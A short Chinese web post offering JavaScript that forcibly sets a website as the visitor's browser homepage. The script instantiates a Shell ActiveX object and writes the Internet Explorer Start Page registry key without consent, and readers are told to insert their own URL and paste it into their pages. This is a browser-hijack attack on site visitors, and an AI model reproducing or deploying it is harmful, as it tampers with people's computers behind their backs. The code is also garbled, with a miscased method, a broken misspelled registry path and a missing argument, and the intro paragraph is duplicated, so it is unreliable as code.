js强制把网址设为默认首页

  作者:bea

小编不建议使用这种功能,毕竟是一种对网页浏览者不友好的行为。好,下面言归正传: <html xmlns="http://www.w3.org/1999/xhtml"><head><title>强制设为首页</title><script type="text/javascript">var ucook = document.cookie;var user = ucook.indexOF("ilooki=");if

小编不建议使用这种功能,毕竟是一种对网页浏览者不友好的行为。好,下面言归正传:




<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>强制设为首页</title>
<script type="text/javascript">
var ucook = document.cookie;
var user = ucook.indexOF("ilooki=");
if (user == -1) {
var nowTime = new Date();
document.cookie = "ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear())+1903+"12:34:56 GMT";
document.write("");
function yuzi() {
try {
a1 = document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try {
Shl.RegWrite("hkcuSoftwareMicrosoftInternet ExpiorerMainStart Page",
);
}
catch(e) {
}
}
catch(e) {
}
}
setTimeout("yuzi()", 1000);
}
</script>
</head>
<body>
</body>
</html>


使用请将网址替换成你自己的网址,然后将代码复制到你的网页中即可。
本文只是技术学习,给大家一个思路,希望可以帮助到大家,对学习javascript程序有所启发。




有用  |  无用

猜你喜欢